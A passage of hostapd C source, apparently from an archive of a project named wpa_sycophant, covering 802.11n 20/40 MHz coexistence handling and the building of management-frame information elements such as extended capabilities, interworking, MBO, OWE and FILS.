0; } void hostapd_2040_coex_action(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, size_t len) { struct hostapd_iface *iface = hapd->iface; struct ieee80211_2040_bss_coex_ie *bc_ie; struct ieee80211_2040_intol_chan_report *ic_report; int is_ht40_allowed = 1; int i; const u8 *start = (const u8 *) mgmt; const u8 *data = start + IEEE80211_HDRLEN + 2; struct sta_info *sta; wpa_printf(MSG_DEBUG, "HT: Received 20/40 BSS Coexistence Management frame from " MACSTR, MAC2STR(mgmt->sa)); hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "hostapd_public_action - action=%d", mgmt->u.action.u.public_action.action); if (!(iface->conf->ht_capab & HT_CAP_INFO_SUPP_CHANNEL_WIDTH_SET)) { wpa_printf(MSG_DEBUG, "Ignore 20/40 BSS Coexistence Management frame since 40 MHz capability is not enabled"); return; } if (len < IEEE80211_HDRLEN + 2 + sizeof(*bc_ie)) { wpa_printf(MSG_DEBUG, "Ignore too short 20/40 BSS Coexistence Management frame"); return; } /* 20/40 BSS Coexistence element */ bc_ie = (struct ieee80211_2040_bss_coex_ie *) data; if (bc_ie->element_id != WLAN_EID_20_40_BSS_COEXISTENCE || bc_ie->length < 1) { wpa_printf(MSG_DEBUG, "Unexpected IE (%u,%u) in coex report", bc_ie->element_id, bc_ie->length); return; } if (len < IEEE80211_HDRLEN + 2 + 2 + bc_ie->length) { wpa_printf(MSG_DEBUG, "Truncated 20/40 BSS Coexistence element"); return; } data += 2 + bc_ie->length; wpa_printf(MSG_DEBUG, "20/40 BSS Coexistence Information field: 0x%x (%s%s%s%s%s%s)", bc_ie->coex_param, (bc_ie->coex_param & BIT(0)) ? "[InfoReq]" : "", (bc_ie->coex_param & BIT(1)) ? "[40MHzIntolerant]" : "", (bc_ie->coex_param & BIT(2)) ? "[20MHzBSSWidthReq]" : "", (bc_ie->coex_param & BIT(3)) ? "[OBSSScanExemptionReq]" : "", (bc_ie->coex_param & BIT(4)) ? "[OBSSScanExemptionGrant]" : "", (bc_ie->coex_param & (BIT(5) | BIT(6) | BIT(7))) ? "[Reserved]" : ""); if (bc_ie->coex_param & WLAN_20_40_BSS_COEX_20MHZ_WIDTH_REQ) { /* Intra-BSS communication prohibiting 20/40 MHz BSS operation */ sta = ap_get_sta(hapd, mgmt->sa); if (!sta || !(sta->flags & WLAN_STA_ASSOC)) { wpa_printf(MSG_DEBUG, "Ignore intra-BSS 20/40 BSS Coexistence Management frame from not-associated STA"); return; } hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "20 MHz BSS width request bit is set in BSS coexistence information field"); is_ht40_allowed = 0; } if (bc_ie->coex_param & WLAN_20_40_BSS_COEX_40MHZ_INTOL) { /* Inter-BSS communication prohibiting 20/40 MHz BSS operation */ hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "40 MHz intolerant bit is set in BSS coexistence information field"); is_ht40_allowed = 0; } /* 20/40 BSS Intolerant Channel Report element (zero or more times) */ while (start + len - data >= 3 && data[0] == WLAN_EID_20_40_BSS_INTOLERANT && data[1] >= 1) { u8 ielen = data[1]; if (ielen > start + len - data - 2) { wpa_printf(MSG_DEBUG, "Truncated 20/40 BSS Intolerant Channel Report element"); return; } ic_report = (struct ieee80211_2040_intol_chan_report *) data; wpa_printf(MSG_DEBUG, "20/40 BSS Intolerant Channel Report: Operating Class %u", ic_report->op_class); /* Go through the channel report to find any BSS there in the * affected channel range */ for (i = 0; i < ielen - 1; i++) { u8 chan = ic_report->variable[i]; if (chan == iface->conf->channel) continue; /* matching own primary channel */ if (is_40_allowed(iface, chan)) continue; /* not within affected channels */ hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "20_40_INTOLERANT channel %d reported", chan); is_ht40_allowed = 0; } data += 2 + ielen; } wpa_printf(MSG_DEBUG, "is_ht40_allowed=%d num_sta_ht40_intolerant=%d", is_ht40_allowed, iface->num_sta_ht40_intolerant); if (!is_ht40_allowed && (iface->drv_flags & WPA_DRIVER_FLAGS_HT_2040_COEX)) { if (iface->conf->secondary_channel) { hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "Switching to 20 MHz operation"); iface->conf->secondary_channel = 0; ieee802_11_set_beacons(iface); } if (!iface->num_sta_ht40_intolerant && iface->conf->obss_interval) { unsigned int delay_time; delay_time = OVERLAPPING_BSS_TRANS_DELAY_FACTOR * iface->conf->obss_interval; eloop_cancel_timeout(ap_ht2040_timeout, hapd->iface, NULL); eloop_register_timeout(delay_time, 0, ap_ht2040_timeout, hapd->iface, NULL); wpa_printf(MSG_DEBUG, "Reschedule HT 20/40 timeout to occur in %u seconds", delay_time); } } } u16 copy_sta_ht_capab(struct hostapd_data *hapd, struct sta_info *sta, const u8 *ht_capab) { /* * Disable HT caps for STAs associated to no-HT BSSes, or for stations * that did not specify a valid WMM IE in the (Re)Association Request * frame. */ if (!ht_capab || !(sta->flags & WLAN_STA_WMM) || !hapd->iconf->ieee80211n || hapd->conf->disable_11n) { sta->flags &= ~WLAN_STA_HT; os_free(sta->ht_capabilities); sta->ht_capabilities = NULL; return WLAN_STATUS_SUCCESS; } if (sta->ht_capabilities == NULL) { sta->ht_capabilities = os_zalloc(sizeof(struct ieee80211_ht_capabilities)); if (sta->ht_capabilities == NULL) return WLAN_STATUS_UNSPECIFIED_FAILURE; } sta->flags |= WLAN_STA_HT; os_memcpy(sta->ht_capabilities, ht_capab, sizeof(struct ieee80211_ht_capabilities)); return WLAN_STATUS_SUCCESS; } void ht40_intolerant_add(struct hostapd_iface *iface, struct sta_info *sta) { if (iface->current_mode->mode != HOSTAPD_MODE_IEEE80211G) return; wpa_printf(MSG_INFO, "HT: Forty MHz Intolerant is set by STA " MACSTR " in Association Request", MAC2STR(sta->addr)); if (sta->ht40_intolerant_set) return; sta->ht40_intolerant_set = 1; iface->num_sta_ht40_intolerant++; eloop_cancel_timeout(ap_ht2040_timeout, iface, NULL); if (iface->conf->secondary_channel && (iface->drv_flags & WPA_DRIVER_FLAGS_HT_2040_COEX)) { iface->conf->secondary_channel = 0; ieee802_11_set_beacons(iface); } } void ht40_intolerant_remove(struct hostapd_iface *iface, struct sta_info *sta) { if (!sta->ht40_intolerant_set) return; sta->ht40_intolerant_set = 0; iface->num_sta_ht40_intolerant--; if (iface->num_sta_ht40_intolerant == 0 && (iface->conf->ht_capab & HT_CAP_INFO_SUPP_CHANNEL_WIDTH_SET) && (iface->drv_flags & WPA_DRIVER_FLAGS_HT_2040_COEX)) { unsigned int delay_time = OVERLAPPING_BSS_TRANS_DELAY_FACTOR * iface->conf->obss_interval; wpa_printf(MSG_DEBUG, "HT: Start 20->40 MHz transition timer (%d seconds)", delay_time); eloop_cancel_timeout(ap_ht2040_timeout, iface, NULL); eloop_register_timeout(delay_time, 0, ap_ht2040_timeout, iface, NULL); } } static void update_sta_ht(struct hostapd_data *hapd, struct sta_info *sta) { u16 ht_capab; ht_capab = le_to_host16(sta->ht_capabilities->ht_capabilities_info); wpa_printf(MSG_DEBUG, "HT: STA " MACSTR " HT Capabilities Info: " "0x%04x", MAC2STR(sta->addr), ht_capab); if ((ht_capab & HT_CAP_INFO_GREEN_FIELD) == 0) { if (!sta->no_ht_gf_set) { sta->no_ht_gf_set = 1; hapd->iface->num_sta_ht_no_gf++; } wpa_printf(MSG_DEBUG, "%s STA " MACSTR " - no greenfield, num " "of non-gf stations %d", __func__, MAC2STR(sta->addr), hapd->iface->num_sta_ht_no_gf); } if ((ht_capab & HT_CAP_INFO_SUPP_CHANNEL_WIDTH_SET) == 0) { if (!sta->ht_20mhz_set) { sta->ht_20mhz_set = 1; hapd->iface->num_sta_ht_20mhz++; } wpa_printf(MSG_DEBUG, "%s STA " MACSTR " - 20 MHz HT, num of " "20MHz HT STAs %d", __func__, MAC2STR(sta->addr), hapd->iface->num_sta_ht_20mhz); } if (ht_capab & HT_CAP_INFO_40MHZ_INTOLERANT) ht40_intolerant_add(hapd->iface, sta); } static void update_sta_no_ht(struct hostapd_data *hapd, struct sta_info *sta) { if (!sta->no_ht_set) { sta->no_ht_set = 1; hapd->iface->num_sta_no_ht++; } if (hapd->iconf->ieee80211n) { wpa_printf(MSG_DEBUG, "%s STA " MACSTR " - no HT, num of " "non-HT stations %d", __func__, MAC2STR(sta->addr), hapd->iface->num_sta_no_ht); } } void update_ht_state(struct hostapd_data *hapd, struct sta_info *sta) { if ((sta->flags & WLAN_STA_HT) && sta->ht_capabilities) update_sta_ht(hapd, sta); else update_sta_no_ht(hapd, sta); if (hostapd_ht_operation_update(hapd->iface) > 0) ieee802_11_set_beacons(hapd->iface); } void hostapd_get_ht_capab(struct hostapd_data *hapd, struct ieee80211_ht_capabilities *ht_cap, struct ieee80211_ht_capabilities *neg_ht_cap) { u16 cap; if (ht_cap == NULL) return; os_memcpy(neg_ht_cap, ht_cap, sizeof(*neg_ht_cap)); cap = le_to_host16(neg_ht_cap->ht_capabilities_info); /* * Mask out HT features we don't support, but don't overwrite * non-symmetric features like STBC and SMPS. Just because * we're not in dynamic SMPS mode the STA might still be. */ cap &= (hapd->iconf->ht_capab | HT_CAP_INFO_RX_STBC_MASK | HT_CAP_INFO_TX_STBC | HT_CAP_INFO_SMPS_MASK); /* * STBC needs to be handled specially * if we don't support RX STBC, mask out TX STBC in the STA's HT caps * if we don't support TX STBC, mask out RX STBC in the STA's HT caps */ if (!(hapd->iconf->ht_capab & HT_CAP_INFO_RX_STBC_MASK)) cap &= ~HT_CAP_INFO_TX_STBC; if (!(hapd->iconf->ht_capab & HT_CAP_INFO_TX_STBC)) cap &= ~HT_CAP_INFO_RX_STBC_MASK; neg_ht_cap->ht_capabilities_info = host_to_le16(cap); } void ap_ht2040_timeout(void *eloop_data, void *user_data) { struct hostapd_iface *iface = eloop_data; wpa_printf(MSG_INFO, "Switching to 40 MHz operation"); iface->conf->secondary_channel = iface->secondary_ch; ieee802_11_set_beacons(iface); } wpa_sycophant-master/src/ap/ieee802_11_shared.c000066400000000000000000000435651377436615100216030ustar00rootroot00000000000000/* * hostapd / IEEE 802.11 Management * Copyright (c) 2002-2012, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "common/ieee802_11_defs.h" #include "hostapd.h" #include "sta_info.h" #include "ap_config.h" #include "ap_drv_ops.h" #include "ieee802_11.h" #ifdef CONFIG_IEEE80211W u8 * hostapd_eid_assoc_comeback_time(struct hostapd_data *hapd, struct sta_info *sta, u8 *eid) { u8 *pos = eid; u32 timeout, tu; struct os_reltime now, passed; *pos++ = WLAN_EID_TIMEOUT_INTERVAL; *pos++ = 5; *pos++ = WLAN_TIMEOUT_ASSOC_COMEBACK; os_get_reltime(&now); os_reltime_sub(&now, &sta->sa_query_start, &passed); tu = (passed.sec * 1000000 + passed.usec) / 1024; if (hapd->conf->assoc_sa_query_max_timeout > tu) timeout = hapd->conf->assoc_sa_query_max_timeout - tu; else timeout = 0; if (timeout < hapd->conf->assoc_sa_query_max_timeout) timeout++; /* add some extra time for local timers */ WPA_PUT_LE32(pos, timeout); pos += 4; return pos; } /* MLME-SAQuery.request */ void ieee802_11_send_sa_query_req(struct hostapd_data *hapd, const u8 *addr, const u8 *trans_id) { struct ieee80211_mgmt mgmt; u8 *end; wpa_printf(MSG_DEBUG, "IEEE 802.11: Sending SA Query Request to " MACSTR, MAC2STR(addr)); wpa_hexdump(MSG_DEBUG, "IEEE 802.11: SA Query Transaction ID", trans_id, WLAN_SA_QUERY_TR_ID_LEN); os_memset(&mgmt, 0, sizeof(mgmt)); mgmt.frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, WLAN_FC_STYPE_ACTION); os_memcpy(mgmt.da, addr, ETH_ALEN); os_memcpy(mgmt.sa, hapd->own_addr, ETH_ALEN); os_memcpy(mgmt.bssid, hapd->own_addr, ETH_ALEN); mgmt.u.action.category = WLAN_ACTION_SA_QUERY; mgmt.u.action.u.sa_query_req.action = WLAN_SA_QUERY_REQUEST; os_memcpy(mgmt.u.action.u.sa_query_req.trans_id, trans_id, WLAN_SA_QUERY_TR_ID_LEN); end = mgmt.u.action.u.sa_query_req.trans_id + WLAN_SA_QUERY_TR_ID_LEN; if (hostapd_drv_send_mlme(hapd, &mgmt, end - (u8 *) &mgmt, 0) < 0) wpa_printf(MSG_INFO, "ieee802_11_send_sa_query_req: send failed"); } static void ieee802_11_send_sa_query_resp(struct hostapd_data *hapd, const u8 *sa, const u8 *trans_id) { struct sta_info *sta; struct ieee80211_mgmt resp; u8 *end; wpa_printf(MSG_DEBUG, "IEEE 802.11: Received SA Query Request from " MACSTR, MAC2STR(sa)); wpa_hexdump(MSG_DEBUG, "IEEE 802.11: SA Query Transaction ID", trans_id, WLAN_SA_QUERY_TR_ID_LEN); sta = ap_get_sta(hapd, sa); if (sta == NULL || !(sta->flags & WLAN_STA_ASSOC)) { wpa_printf(MSG_DEBUG, "IEEE 802.11: Ignore SA Query Request " "from unassociated STA " MACSTR, MAC2STR(sa)); return; } wpa_printf(MSG_DEBUG, "IEEE 802.11: Sending SA Query Response to " MACSTR, MAC2STR(sa)); os_memset(&resp, 0, sizeof(resp)); resp.frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, WLAN_FC_STYPE_ACTION); os_memcpy(resp.da, sa, ETH_ALEN); os_memcpy(resp.sa, hapd->own_addr, ETH_ALEN); os_memcpy(resp.bssid, hapd->own_addr, ETH_ALEN); resp.u.action.category = WLAN_ACTION_SA_QUERY; resp.u.action.u.sa_query_req.action = WLAN_SA_QUERY_RESPONSE; os_memcpy(resp.u.action.u.sa_query_req.trans_id, trans_id, WLAN_SA_QUERY_TR_ID_LEN); end = resp.u.action.u.sa_query_req.trans_id + WLAN_SA_QUERY_TR_ID_LEN; if (hostapd_drv_send_mlme(hapd, &resp, end - (u8 *) &resp, 0) < 0) wpa_printf(MSG_INFO, "ieee80211_mgmt_sa_query_request: send failed"); } void ieee802_11_sa_query_action(struct hostapd_data *hapd, const u8 *sa, const u8 action_type, const u8 *trans_id) { struct sta_info *sta; int i; if (action_type == WLAN_SA_QUERY_REQUEST) { ieee802_11_send_sa_query_resp(hapd, sa, trans_id); return; } if (action_type != WLAN_SA_QUERY_RESPONSE) { wpa_printf(MSG_DEBUG, "IEEE 802.11: Unexpected SA Query " "Action %d", action_type); return; } wpa_printf(MSG_DEBUG, "IEEE 802.11: Received SA Query Response from " MACSTR, MAC2STR(sa)); wpa_hexdump(MSG_DEBUG, "IEEE 802.11: SA Query Transaction ID", trans_id, WLAN_SA_QUERY_TR_ID_LEN); /* MLME-SAQuery.confirm */ sta = ap_get_sta(hapd, sa); if (sta == NULL || sta->sa_query_trans_id == NULL) { wpa_printf(MSG_DEBUG, "IEEE 802.11: No matching STA with " "pending SA Query request found"); return; } for (i = 0; i < sta->sa_query_count; i++) { if (os_memcmp(sta->sa_query_trans_id + i * WLAN_SA_QUERY_TR_ID_LEN, trans_id, WLAN_SA_QUERY_TR_ID_LEN) == 0) break; } if (i >= sta->sa_query_count) { wpa_printf(MSG_DEBUG, "IEEE 802.11: No matching SA Query " "transaction identifier found"); return; } hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "Reply to pending SA Query received"); ap_sta_stop_sa_query(hapd, sta); } #endif /* CONFIG_IEEE80211W */ static void hostapd_ext_capab_byte(struct hostapd_data *hapd, u8 *pos, int idx) { *pos = 0x00; switch (idx) { case 0: /* Bits 0-7 */ if (hapd->iconf->obss_interval) *pos |= 0x01; /* Bit 0 - Coexistence management */ if (hapd->iface->drv_flags & WPA_DRIVER_FLAGS_AP_CSA) *pos |= 0x04; /* Bit 2 - Extended Channel Switching */ break; case 1: /* Bits 8-15 */ if (hapd->conf->proxy_arp) *pos |= 0x10; /* Bit 12 - Proxy ARP */ break; case 2: /* Bits 16-23 */ if (hapd->conf->wnm_sleep_mode) *pos |= 0x02; /* Bit 17 - WNM-Sleep Mode */ if (hapd->conf->bss_transition) *pos |= 0x08; /* Bit 19 - BSS Transition */ break; case 3: /* Bits 24-31 */ #ifdef CONFIG_WNM_AP *pos |= 0x02; /* Bit 25 - SSID List */ #endif /* CONFIG_WNM_AP */ if (hapd->conf->time_advertisement == 2) *pos |= 0x08; /* Bit 27 - UTC TSF Offset */ if (hapd->conf->interworking) *pos |= 0x80; /* Bit 31 - Interworking */ break; case 4: /* Bits 32-39 */ if (hapd->conf->qos_map_set_len) *pos |= 0x01; /* Bit 32 - QoS Map */ if (hapd->conf->tdls & TDLS_PROHIBIT) *pos |= 0x40; /* Bit 38 - TDLS Prohibited */ if (hapd->conf->tdls & TDLS_PROHIBIT_CHAN_SWITCH) { /* Bit 39 - TDLS Channel Switching Prohibited */ *pos |= 0x80; } break; case 5: /* Bits 40-47 */ #ifdef CONFIG_HS20 if (hapd->conf->hs20) *pos |= 0x40; /* Bit 46 - WNM-Notification */ #endif /* CONFIG_HS20 */ #ifdef CONFIG_MBO if (hapd->conf->mbo_enabled) *pos |= 0x40; /* Bit 46 - WNM-Notification */ #endif /* CONFIG_MBO */ break; case 6: /* Bits 48-55 */ if (hapd->conf->ssid.utf8_ssid) *pos |= 0x01; /* Bit 48 - UTF-8 SSID */ break; case 7: /* Bits 56-63 */ break; case 8: /* Bits 64-71 */ if (hapd->conf->ftm_responder) *pos |= 0x40; /* Bit 70 - FTM responder */ if (hapd->conf->ftm_initiator) *pos |= 0x80; /* Bit 71 - FTM initiator */ break; case 9: /* Bits 72-79 */ #ifdef CONFIG_FILS if ((hapd->conf->wpa & WPA_PROTO_RSN) && wpa_key_mgmt_fils(hapd->conf->wpa_key_mgmt)) *pos |= 0x01; #endif /* CONFIG_FILS */ break; } } u8 * hostapd_eid_ext_capab(struct hostapd_data *hapd, u8 *eid) { u8 *pos = eid; u8 len = 0, i; if (hapd->conf->tdls & (TDLS_PROHIBIT | TDLS_PROHIBIT_CHAN_SWITCH)) len = 5; if (len < 4 && hapd->conf->interworking) len = 4; if (len < 3 && hapd->conf->wnm_sleep_mode) len = 3; if (len < 1 && hapd->iconf->obss_interval) len = 1; if (len < 7 && hapd->conf->ssid.utf8_ssid) len = 7; if (len < 9 && (hapd->conf->ftm_initiator || hapd->conf->ftm_responder)) len = 9; #ifdef CONFIG_WNM_AP if (len < 4) len = 4; #endif /* CONFIG_WNM_AP */ #ifdef CONFIG_HS20 if (hapd->conf->hs20 && len < 6) len = 6; #endif /* CONFIG_HS20 */ #ifdef CONFIG_MBO if (hapd->conf->mbo_enabled && len < 6) len = 6; #endif /* CONFIG_MBO */ #ifdef CONFIG_FILS if ((!(hapd->conf->wpa & WPA_PROTO_RSN) || !wpa_key_mgmt_fils(hapd->conf->wpa_key_mgmt)) && len < 10) len = 10; #endif /* CONFIG_FILS */ if (len < hapd->iface->extended_capa_len) len = hapd->iface->extended_capa_len; if (len == 0) return eid; *pos++ = WLAN_EID_EXT_CAPAB; *pos++ = len; for (i = 0; i < len; i++, pos++) { hostapd_ext_capab_byte(hapd, pos, i); if (i < hapd->iface->extended_capa_len) { *pos &= ~hapd->iface->extended_capa_mask[i]; *pos |= hapd->iface->extended_capa[i]; } } while (len > 0 && eid[1 + len] == 0) { len--; eid[1] = len; } if (len == 0) return eid; return eid + 2 + len; } u8 * hostapd_eid_qos_map_set(struct hostapd_data *hapd, u8 *eid) { u8 *pos = eid; u8 len = hapd->conf->qos_map_set_len; if (!len) return eid; *pos++ = WLAN_EID_QOS_MAP_SET; *pos++ = len; os_memcpy(pos, hapd->conf->qos_map_set, len); pos += len; return pos; } u8 * hostapd_eid_interworking(struct hostapd_data *hapd, u8 *eid) { u8 *pos = eid; #ifdef CONFIG_INTERWORKING u8 *len; if (!hapd->conf->interworking) return eid; *pos++ = WLAN_EID_INTERWORKING; len = pos++; *pos = hapd->conf->access_network_type; if (hapd->conf->internet) *pos |= INTERWORKING_ANO_INTERNET; if (hapd->conf->asra) *pos |= INTERWORKING_ANO_ASRA; if (hapd->conf->esr) *pos |= INTERWORKING_ANO_ESR; if (hapd->conf->uesa) *pos |= INTERWORKING_ANO_UESA; pos++; if (hapd->conf->venue_info_set) { *pos++ = hapd->conf->venue_group; *pos++ = hapd->conf->venue_type; } if (!is_zero_ether_addr(hapd->conf->hessid)) { os_memcpy(pos, hapd->conf->hessid, ETH_ALEN); pos += ETH_ALEN; } *len = pos - len - 1; #endif /* CONFIG_INTERWORKING */ return pos; } u8 * hostapd_eid_adv_proto(struct hostapd_data *hapd, u8 *eid) { u8 *pos = eid; #ifdef CONFIG_INTERWORKING /* TODO: Separate configuration for ANQP? */ if (!hapd->conf->interworking) return eid; *pos++ = WLAN_EID_ADV_PROTO; *pos++ = 2; *pos++ = 0x7F; /* Query Response Length Limit | PAME-BI */ *pos++ = ACCESS_NETWORK_QUERY_PROTOCOL; #endif /* CONFIG_INTERWORKING */ return pos; } u8 * hostapd_eid_roaming_consortium(struct hostapd_data *hapd, u8 *eid) { u8 *pos = eid; #ifdef CONFIG_INTERWORKING u8 *len; unsigned int i, count; if (!hapd->conf->interworking || hapd->conf->roaming_consortium == NULL || hapd->conf->roaming_consortium_count == 0) return eid; *pos++ = WLAN_EID_ROAMING_CONSORTIUM; len = pos++; /* Number of ANQP OIs (in addition to the max 3 listed here) */ if (hapd->conf->roaming_consortium_count > 3 + 255) *pos++ = 255; else if (hapd->conf->roaming_consortium_count > 3) *pos++ = hapd->conf->roaming_consortium_count - 3; else *pos++ = 0; /* OU #1 and #2 Lengths */ *pos = hapd->conf->roaming_consortium[0].len; if (hapd->conf->roaming_consortium_count > 1) *pos |= hapd->conf->roaming_consortium[1].len << 4; pos++; if (hapd->conf->roaming_consortium_count > 3) count = 3; else count = hapd->conf->roaming_consortium_count; for (i = 0; i < count; i++) { os_memcpy(pos, hapd->conf->roaming_consortium[i].oi, hapd->conf->roaming_consortium[i].len); pos += hapd->conf->roaming_consortium[i].len; } *len = pos - len - 1; #endif /* CONFIG_INTERWORKING */ return pos; } u8 * hostapd_eid_time_adv(struct hostapd_data *hapd, u8 *eid) { if (hapd->conf->time_advertisement != 2) return eid; if (hapd->time_adv == NULL && hostapd_update_time_adv(hapd) < 0) return eid; if (hapd->time_adv == NULL) return eid; os_memcpy(eid, wpabuf_head(hapd->time_adv), wpabuf_len(hapd->time_adv)); eid += wpabuf_len(hapd->time_adv); return eid; } u8 * hostapd_eid_time_zone(struct hostapd_data *hapd, u8 *eid) { size_t len; if (hapd->conf->time_advertisement != 2 || !hapd->conf->time_zone) return eid; len = os_strlen(hapd->conf->time_zone); *eid++ = WLAN_EID_TIME_ZONE; *eid++ = len; os_memcpy(eid, hapd->conf->time_zone, len); eid += len; return eid; } int hostapd_update_time_adv(struct hostapd_data *hapd) { const int elen = 2 + 1 + 10 + 5 + 1; struct os_time t; struct os_tm tm; u8 *pos; if (hapd->conf->time_advertisement != 2) return 0; if (os_get_time(&t) < 0 || os_gmtime(t.sec, &tm) < 0) return -1; if (!hapd->time_adv) { hapd->time_adv = wpabuf_alloc(elen); if (hapd->time_adv == NULL) return -1; pos = wpabuf_put(hapd->time_adv, elen); } else pos = wpabuf_mhead_u8(hapd->time_adv); *pos++ = WLAN_EID_TIME_ADVERTISEMENT; *pos++ = 1 + 10 + 5 + 1; *pos++ = 2; /* UTC time at which the TSF timer is 0 */ /* Time Value at TSF 0 */ /* FIX: need to calculate this based on the current TSF value */ WPA_PUT_LE16(pos, tm.year); /* Year */ pos += 2; *pos++ = tm.month; /* Month */ *pos++ = tm.day; /* Day of month */ *pos++ = tm.hour; /* Hours */ *pos++ = tm.min; /* Minutes */ *pos++ = tm.sec; /* Seconds */ WPA_PUT_LE16(pos, 0); /* Milliseconds (not used) */ pos += 2; *pos++ = 0; /* Reserved */ /* Time Error */ /* TODO: fill in an estimate on the error */ *pos++ = 0; *pos++ = 0; *pos++ = 0; *pos++ = 0; *pos++ = 0; *pos++ = hapd->time_update_counter++; return 0; } u8 * hostapd_eid_bss_max_idle_period(struct hostapd_data *hapd, u8 *eid) { u8 *pos = eid; #ifdef CONFIG_WNM_AP if (hapd->conf->ap_max_inactivity > 0) { unsigned int val; *pos++ = WLAN_EID_BSS_MAX_IDLE_PERIOD; *pos++ = 3; val = hapd->conf->ap_max_inactivity; if (val > 68000) val = 68000; val *= 1000; val /= 1024; if (val == 0) val = 1; if (val > 65535) val = 65535; WPA_PUT_LE16(pos, val); pos += 2; *pos++ = 0x00; /* TODO: Protected Keep-Alive Required */ } #endif /* CONFIG_WNM_AP */ return pos; } #ifdef CONFIG_MBO u8 * hostapd_eid_mbo(struct hostapd_data *hapd, u8 *eid, size_t len) { u8 mbo[9], *mbo_pos = mbo; u8 *pos = eid; if (!hapd->conf->mbo_enabled && !hapd->enable_oce) return eid; if (hapd->conf->mbo_enabled) { *mbo_pos++ = MBO_ATTR_ID_AP_CAPA_IND; *mbo_pos++ = 1; /* Not Cellular aware */ *mbo_pos++ = 0; } if (hapd->conf->mbo_enabled && hapd->mbo_assoc_disallow) { *mbo_pos++ = MBO_ATTR_ID_ASSOC_DISALLOW; *mbo_pos++ = 1; *mbo_pos++ = hapd->mbo_assoc_disallow; } if (hapd->enable_oce & (OCE_AP | OCE_STA_CFON)) { u8 ctrl; ctrl = OCE_RELEASE; if ((hapd->enable_oce & (OCE_AP | OCE_STA_CFON)) == OCE_STA_CFON) ctrl |= OCE_IS_STA_CFON; *mbo_pos++ = OCE_ATTR_ID_CAPA_IND; *mbo_pos++ = 1; *mbo_pos++ = ctrl; } pos += mbo_add_ie(pos, len, mbo, mbo_pos - mbo); return pos; } u8 hostapd_mbo_ie_len(struct hostapd_data *hapd) { u8 len; if (!hapd->conf->mbo_enabled && !hapd->enable_oce) return 0; /* * MBO IE header (6) + Capability Indication attribute (3) + * Association Disallowed attribute (3) = 12 */ len = 6; if (hapd->conf->mbo_enabled) len += 3 + (hapd->mbo_assoc_disallow ? 3 : 0); /* OCE capability indication attribute (3) */ if (hapd->enable_oce & (OCE_AP | OCE_STA_CFON)) len += 3; return len; } #endif /* CONFIG_MBO */ #ifdef CONFIG_OWE static int hostapd_eid_owe_trans_enabled(struct hostapd_data *hapd) { return hapd->conf->owe_transition_ssid_len > 0 && !is_zero_ether_addr(hapd->conf->owe_transition_bssid); } #endif /* CONFIG_OWE */ size_t hostapd_eid_owe_trans_len(struct hostapd_data *hapd) { #ifdef CONFIG_OWE if (!hostapd_eid_owe_trans_enabled(hapd)) return 0; return 6 + ETH_ALEN + 1 + hapd->conf->owe_transition_ssid_len; #else /* CONFIG_OWE */ return 0; #endif /* CONFIG_OWE */ } u8 * hostapd_eid_owe_trans(struct hostapd_data *hapd, u8 *eid, size_t len) { #ifdef CONFIG_OWE u8 *pos = eid; size_t elen; if (hapd->conf->owe_transition_ifname[0] && !hostapd_eid_owe_trans_enabled(hapd)) hostapd_owe_trans_get_info(hapd); if (!hostapd_eid_owe_trans_enabled(hapd)) return pos; elen = hostapd_eid_owe_trans_len(hapd); if (len < elen) { wpa_printf(MSG_DEBUG, "OWE: Not enough room in the buffer for OWE IE"); return pos; } *pos++ = WLAN_EID_VENDOR_SPECIFIC; *pos++ = elen - 2; WPA_PUT_BE24(pos, OUI_WFA); pos += 3; *pos++ = OWE_OUI_TYPE; os_memcpy(pos, hapd->conf->owe_transition_bssid, ETH_ALEN); pos += ETH_ALEN; *pos++ = hapd->conf->owe_transition_ssid_len; os_memcpy(pos, hapd->conf->owe_transition_ssid, hapd->conf->owe_transition_ssid_len); pos += hapd->conf->owe_transition_ssid_len; return pos; #else /* CONFIG_OWE */ return eid; #endif /* CONFIG_OWE */ } void ap_copy_sta_supp_op_classes(struct sta_info *sta, const u8 *supp_op_classes, size_t supp_op_classes_len) { if (!supp_op_classes) return; os_free(sta->supp_op_classes); sta->supp_op_classes = os_malloc(1 + supp_op_classes_len); if (!sta->supp_op_classes) return; sta->supp_op_classes[0] = supp_op_classes_len; os_memcpy(sta->supp_op_classes + 1, supp_op_classes, supp_op_classes_len); } u8 * hostapd_eid_fils_indic(struct hostapd_data *hapd, u8 *eid, int hessid) { u8 *pos = eid; #ifdef CONFIG_FILS u8 *len; u16 fils_info = 0; size_t realms; struct fils_realm *realm; if (!(hapd->conf->wpa & WPA_PROTO_RSN) || !wpa_key_mgmt_fils(hapd->conf->wpa_key_mgmt)) return pos; realms = dl_list_len(&hapd->conf->fils_realms); if (realms > 7) realms = 7; /* 3 bit count field limits this to max 7 */ *pos++ = WLAN_EID_FILS_INDICATION; len = pos++; /* TODO: B0..B2: Number of Public Key Identifiers */ if (hapd->conf->erp_domain) { /* B3..B5: Number of Realm Identifiers */ fils_info |= realms << 3; } /* TODO: B6: FILS IP Address Configuration */ if (hapd->conf->fils_cache_id_set) fils_info |= BIT(7); if (hessid && !is_zero_ether_addr(hapd->conf->hessid)) fils_info |= BIT(8); /* HESSID Included */ /* FILS Shared Key Authentication without PFS Supported */ fils_info |= BIT(9); if (hapd->conf->fils_dh_group) { /* FILS Shared Key Authentication with PFS Supported */ fils_info |= BIT(10); } /* TODO: B11: FILS Public Key Authentication Supported */ /* B12..B15: Reserved */ WPA_PUT_LE16(pos, fils_info); pos += 2; if (hapd->conf->fils_cache_id_set) { os_memcpy(pos, hapd->conf->fils_cache_id, FILS_CACHE_ID_LEN); pos += FILS_CACHE_ID_LEN; } if (hessid && !is_zero_ether_addr(hapd->conf->hessid)) { os_memcpy(pos, hapd->conf->hessid, 